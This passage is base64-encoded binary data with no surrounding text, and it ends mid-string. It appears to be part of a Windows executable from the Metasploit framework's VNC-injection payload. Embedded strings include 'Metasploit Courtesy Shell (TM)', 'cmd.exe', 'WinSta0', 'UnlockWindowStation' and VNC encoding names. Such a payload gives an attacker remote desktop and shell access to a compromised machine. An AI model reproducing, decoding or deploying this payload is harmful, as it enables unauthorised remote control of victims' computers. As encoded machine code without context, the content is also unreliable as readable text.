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SElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5+gAAAAAAAAAAAAAAAAAAAAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6AAAAAAAAAAAAAAAAAAAAQMVYn1NCSwBASTKjIqgRxVghe/xzYmjFWL9FCzB+GJ9T/HNBbVRin1OzQUEtEhdCS2JoVGJ+WEJLITu6KMMUAEDFWJ9TQksAQEkyoyKoEUkyv0WzQSE7STKCJzcb4A2jIgswQS26KKMiNxu/Eo4JqBF+GBIXwxSoEeANjgnfBAAAAAAAAPA/72FIsVAx9j/Kb02Rruf0P6oRbO9i0PI/AAAAAAAA8D87v6fAaSTpP7sgx3t6UeE/Xaty3lWo0T8AAAAAAQAAAAIAAAAEAAAACAAAABAAAAAgAAAAQAAAAIAAAAAAAQAAAAIAAAAEAAAACAAAABAAAAAgAAAAQAAAAAAAAP/////9////+f////H////h////wf///4H///8B////Af7//wH8//8B+P//AfD//wHg//8BwP//AYD//wAAAAABAAAAAgAAAAQAAAAIAAAAEAAAACAAAABAAAAAgAAAAAABAAAAAgAAAAQAAAAIAAAAEAAAACAAAABAAAAAAAAA//////3////5////8f///+H////B////gf///wH///8B/v//Afz//wH4//8B8P//AeD//wHA//8BgP//aAsEgAEAAACACwSAAQAAAMALBIABAAAA4AsEgAEAAAAIDASAAQAAACgMBIABAAAASAwEgAEAAABoDASAAQAAAJAMBIABAAAAsAwEgAEAAADIDASAAQAAAOAMBIABAAAA+AwEgAEAAAA4DQSAAQAAAGgNBIABAAAAiA0EgAEAAACwDQSAAQAAAOgNBIABAAAAIA4EgAEAAAA4DgSAAQAAAFgOBIABAAAAkA4EgAEAAADgDgSAAQAAAAAPBIABAAAAMA8EgAEAAABQDwSAAQAAAHgPBIABAAAAoA8EgAEAAADIDwSAAQAAAOAPBIABAAAA+A8EgAEAAAAQEASAAQAAACgQBIABAAAAUBAEgAEAAABoEASAAQAAAIAQBIABAAAAqBAEgAEAAADAEASAAQAAAPAQBIABAAAAGBEEgAEAAABAEQSAAQAAAGgRBIABAAAAmBEEgAEAAACwEQSAAQAAANARBI